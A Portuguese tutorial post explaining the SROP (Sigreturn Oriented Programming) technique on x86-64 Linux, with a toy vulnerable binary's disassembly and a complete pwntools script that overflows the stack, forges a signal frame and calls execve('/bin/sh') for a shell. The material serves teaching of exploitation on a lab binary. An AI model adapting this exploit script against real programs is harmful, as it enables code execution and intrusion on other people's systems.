Ataque SROP: Programação Orientada a Sigreturn no Linux

Princípios do Ataque SROP

A técnica SROP (Sigreturn Oriented Programming) simplifica ataques de programação orientada a gadgets, explorando o mecanismo de signal do Linux. Ao contrário do ROP tradicional, que exige a construção de cadeias complexas de gadgets, o SROP permite alterar diretamente os registradores usando o estado salvo durante um signal, possibilitando a execução de chamadas de sistema como execve para obter um shell.

Quando um processo no modo usuário emite um signal, o controle é transferido para o kernel. O kernel salva o contexto do processo, incluindo o estado dos registradores, na pilha do usuário, e empilha o endereço de rt_sigreturn. Em seguida, o manipulador de signal (Signal Handler) é executado no modo usuário. Após a execução do manipulador, o kernel restaura o contexto salvo, devolvendo o controle ao processo.

Para o ataque, é crucial que o atacante controle o conteúdo da pilha, permitindo forjar um quadro de signal (SigreturnFrame) com os valores desejados dos registradores. Ao executar rt_sigreturn, o kernel restaura esses registradores forjados, permitindo a execução de syscall com parâmetros controlados.

Construindo o SigreturnFrame

A biblioteca pwntools fornece funções para criar o frame de signal. Veja um exemplo em Python, onde configuramos os registradores para uma chamada execve:

from pwn import *
context.arch = "amd64"
sig_frame = SigreturnFrame()
sig_frame.rax = 59  # Número da syscall para execve
sig_frame.rdi = 0   # Endereço do argumento "/bin/sh"
sig_frame.rsi = 0   # Argumento nulo
sig_frame.rdx = 0   # Argumento nulo

No código acima, context.arch define a arquitetura, e SigreturnFrame() gera o frame. Os registradores são preenchidos conforme necessário para a syscall desejada.

Detalhes da Execução

Durante o disparo de um signal, o kernel salva o estado na pilha, conforme ilustrado. O manipulador de signal, após processar o signal, executa uma instrução ret que redireciona para rt_sigreturn. Este syscall restaura o estado a partir do frame forjado, permitindo que o processo continue com registradores manipulados.

Para que o ataque seja bem-sucedido, são necessárias algumas condições: controle sobre a pilha via overflow, conhecimento do endereço da pilha para localizar strings como "/bin/sh", acesso ao endereço de syscall, e conhecimento do endereço de rt_sigreturn. Em casos complexos, pode-se encadear múltiplos frames SROP, similar a uma cadeia ROP.

Exemplo Prático de Exploração

Considere um programa vulnerável com as seguintes características em assmebly:

.text:0000000000401000    sub rsp, 8
.text:0000000000401004    mov eax, 1
.text:0000000000401009    mov edi, 1
.text:000000000040100E    mov rsi, offset msg
.text:0000000000401018    mov edx, 3Ah
.text:000000000040101D    syscall          ; sys_write
.text:000000000040101F    mov eax, 0
.text:0000000000401024    mov edi, 0
.text:0000000000401029    mov rsi, rsp
.text:000000000040102C    mov edx, 400h
.text:0000000000401031    syscall          ; sys_read
.text:0000000000401033    mov edx, 8
.text:0000000000401038    mov eax, 1
.text:000000000040103D    mov edi, 1
.text:0000000000401042    mov rsi, rsp
.text:0000000000401045    syscall          ; sys_write
.text:0000000000401047    pop rbp
.text:0000000000401048    retn
.text:0000000000401049    pop rsi
.text:000000000040104A    pop rax
.text:000000000040104B    retn

Há um overflow na leitura, e gadgets disponíveis para carregar valores em rax e executar syscall. O exploit envolve criar um frame SROP e injetá-lo na pilha após o overflow. O payload é construído como:

payload = b'x' * 8 + p64(pop_rax_addr) + p64(15) + p64(syscall_addr) + bytes(sig_frame)

Neste payload, pop_rax_addr carrega 15 (número da syscall para rt_sigreturn) em rax, e syscall_addr executa a syscall, ativando o signal. O sig_frame contém os registradores para execve.

Para completar o exploit, preenchemos o frame com endereços relevantes, como o local da string "/bin/sh" fornecida pelo programa:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./target_binary')
p = process('./target_binary')
syscall_addr = 0x401031
bin_sh_addr = 0x40203A
pop_rax_gadget = 0x40104A
sig_frame = SigreturnFrame()
sig_frame.rax = 59
sig_frame.rdi = bin_sh_addr
sig_frame.rsi = 0
sig_frame.rdx = 0
sig_frame.rip = syscall_addr
payload = b'a' * 8 + p64(pop_rax_gadget) + p64(15) + p64(syscall_addr) + bytes(sig_frame)
p.send(payload)
p.interactive()

Ao executar, o processo deve conceder um shell, desde que as condições de endereço e controle sejam atendidas.

Tags: SROP signal syscall pwntools x86-64

Publicado em 6-22 01:32